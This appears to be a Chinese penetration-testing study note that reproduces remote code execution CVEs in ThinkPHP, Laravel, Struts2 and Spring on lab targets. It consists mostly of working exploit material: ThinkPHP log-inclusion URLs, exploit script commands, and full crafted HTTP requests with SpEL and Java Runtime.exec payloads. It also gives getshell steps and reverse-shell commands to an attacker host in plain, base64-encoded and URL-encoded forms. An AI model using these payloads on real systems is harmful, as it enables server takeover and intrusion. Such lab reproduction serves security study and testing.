目录
- 服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP
服务攻防-框架安全&CVE 复现&Spring&Struts&Laravel&ThinkPHP
概述
PHP-开发框架安全-Thinkphp&Laravel
详解:Thinkphp详解
详解:Laravel详解
安全问题:
特征:
漏洞复现
Thinkphp-3.X RCE
靶场:vulfocus
开启环境:
漏洞利用:
可直接放入到工具当中进行检测,一键利用即可
命令执行RCE:
payload:
http://192.168.100.134:24566//?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/23_10_26.log
查看:
还可以进行getshell,找到路径,一键getshell:
直接可getshell:
然后使用蚁剑连接即可:
成功连接:
日志泄露:
Payload:
http://192.168.100.134:24566//Application/Runtime/Logs/Admin/23_10_26.log
查看:
工具在github搜索即可,有很多,遇到不好用的也正常。(利用简单[工具点一点就可以~],发现该系列漏洞,危害较大。)以下也是同理。
Thinkphp-5.X RCE
靶场:vulhub
参考:Thinkphp5 5.0.22/5.1.29 远程执行代码漏洞
开启环境:
访问靶场:
漏洞利用:
直接将url信息内容,抛到工具当中:
输入利用的漏洞编号,利用即可:
命令执行RCE:
getshell:
通过蚁剑进行连接:
连接添加成功:
Laravel框架安全问题- CVE-2021-3129 RCE
详解:Laravel详解
Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以从面条一样杂乱的代码中解脱出来;它可以构建网络APP,而且每行代码都可以简洁、富于表达力。
靶场:vulfocus
漏洞描述:
开启靶场:
访问:
漏洞利用:
github搜索漏洞编号CVE-2021-3129,查找相关exp下载利用即可
exp地址:CVE-2021-3129EXP
python laravel-CVE-2021-3129-EXP.py http://192.168.100.134:29972
直接利用即可,getshell:
哥斯拉链接即可。
利用相对简单,使用现成熟的脚步或工具即可。github上搜索即可。
JAVAWEB-开发框架安全-Spring&Struts2
Struts2框架安全
Struts2介绍:
详解:Struts2框架
框架特点:
此Struts2系列漏洞现有成熟工具,判别出特征,直接利用即可。
较新的漏洞可能工具不支持。
漏洞复现
以struts2系列之一为例:
S2-009 远程执行代码漏洞
靶场:vulhub
参考:s2-009
开启环境:
访问:
发现明显的struts2特征
直接放到工具当中进行检测:
一键利用,命令执行:
工具可在github上搜索,有很多。不排除有不好用的。
CVE-2017-5638(struts2-045 远程代码执行)
漏洞复现:struts2-045 远程代码执行漏洞CVE-2017-5638
CVE-2020-17530 代码执行
struts2 代码执行 (CVE-2020-17530)
描述:
靶场:vulfocus
开启环境:
访问:
可使用工具检测:
使用EXP脚本也可以,漏洞比较新,可能一些工具不支持,无法检测,利用。
github上搜索漏洞编号,使用即可。
工具地址:CVE-2020-17530EXP
工具使用:
python struts2-061-poc.py http://192.168.100.134:34952 "执行的命令"
反弹shell:
python2 S2-061-shell.py http://192.168.100.134:34952
反弹成功
CVE-2021-31805 远程代码执行
远程代码执行漏洞-CVE-2021-31805
影响范围:Apache Struts 2.0.0-2.5.29
靶场:vulfocus
开启并访问。
漏洞利用EXP,可直接去github上搜索编号,下载利用即可。
EXP地址:s2-062EXP
修复:升级即可。
JAVAWEB-开发框架安全-Spring框架
spring框架安全
Spring框架是由于软件开放复杂性而创建的。框架下有很多子分支,披露了很多安全问题。
特征:小绿叶图标
spring框架介绍:
详解:spring开源框架
安全问题:
漏洞复现
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
介绍:
靶场:vulhub
开启环境:
访问:
特征:小绿叶图标
注册用户信息:
当注册用户时,burp抓包:
修改数据包信息
payload:
......
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
数据包内容:
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 uacq
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 120
Origin: http://192.168.100.134:8080
Connection: close
Referer: http://192.168.100.134:8080/users?page=0&size=5
Upgrade-Insecure-Requests: 1
sec-ch-ua-platform: "macOS"
sec-ch-ua: "Google Chrome";v="112", "Chromium";v="112", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /123.txt")]=&password=&repeatedPassword=
进入靶场,验证是否创建成功:
//查看环境id
docker ps
//进入环境
docker exec -it 环境id /bin/bash
创建成功:
反弹shell:
细节问题:需要URL编码
先将反弹shell命令进行base64编码
sh -i >& /dev/tcp/192.168.100.1/8888 0>&1
base64编码:
bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
数据包当中观察:
content-type的值有urlencode,所以可能会进行编码才行。
编码原因:请求头部的信息或方式的原因,需要编码。
将反弹shell命令URL编码后,再次发送:
成功反弹shell,并执行命令:
Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)
详解:Spring Web Flow详解
靶场:vulhub
参考:Spring WebFlow 漏洞复现-CVE-2017-4971
开启环境:
访问web界面:
接下来访问http://your-ip:8080/login
,用页面左边给出的任意一个账号/密码登录系统:
然后访问id为1的酒店http://your-ip:8080/hotels/1
,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):
下一步:
下一步:
使用burp进行抓包:
此时抓包,抓到一个POST数据包,我们向其中添加一个字段(也就是反弹shell的POC)
获取的数据包:
修改后数据包添加数据内容:
payload:
//_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/攻击端ip/监听端口 0>&1")).start()=vulhub
......
_eventId_confirm=&_csrf=96117c67-2c77-4054-970a-d2644c9be1f2&_(new java.lang.ProcessBuilder("bash","-c","%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%31%2f%38%38%38%38%20%30%3e%26%31")).start()=vulhub
//注意反弹shell命令进行url编码,否则无法反弹
进行URL编码:
反弹成功:
Spring Cloud Function SpEL表达式注入 (CVE-2022-22963)
详解:[spring cloud](https://baike.baidu.com/item/spring cloud/20269825?fr=ge_ala)
靶场:vulhub
参考:CVE-2022-22963漏洞复现
开启环境:
访问web界面:
服务器启动后,执行您可以将用户输入转换为大写。
命令:curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test
抓取数据包:
请求标头中有一个 SpEL 表达式注入。
添加内容:
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("需要执行的命令")
//完整数据包:
POST /functionRouter HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
asdasdasdd
成功执行:
验证:
docker-compose exec spring /bin/bash
反弹shell:
成功反弹
Spring Cloud Gateway Actuator API SpEL 表达式注入 (CVE-2022-22947)
介绍:
SpringCloud GateWay 详解
靶场:vulhub
参考:CVE-2022-22947漏洞复现
开启环境:
访问web界面:
第一步,发送以下请求以添加包含恶意 SpEL 表达式的路由器:
//发送post请求,进行抓包:
//数据包内容:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
执行后:
然后,刷新网关。
SpEL 表达式将在此步骤中执行:
//数据包内容:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
执行后:
第三,发送以下请求,进行命令执行:
注意为:请求方式为GET请求
//请求数据包内容:
GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.100.134:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=AEC501EC3F7F15C42686C87B98EB23AC
DNT: 1
Connection: close
Content-Type: application/json
Content-Length: 329
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
最后,发送一个删除请求来删除我们的恶意路由器:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
......
发送数据包即可:
再次刷新网关:
POST /actuator/gateway/refresh HTTP/1.1
......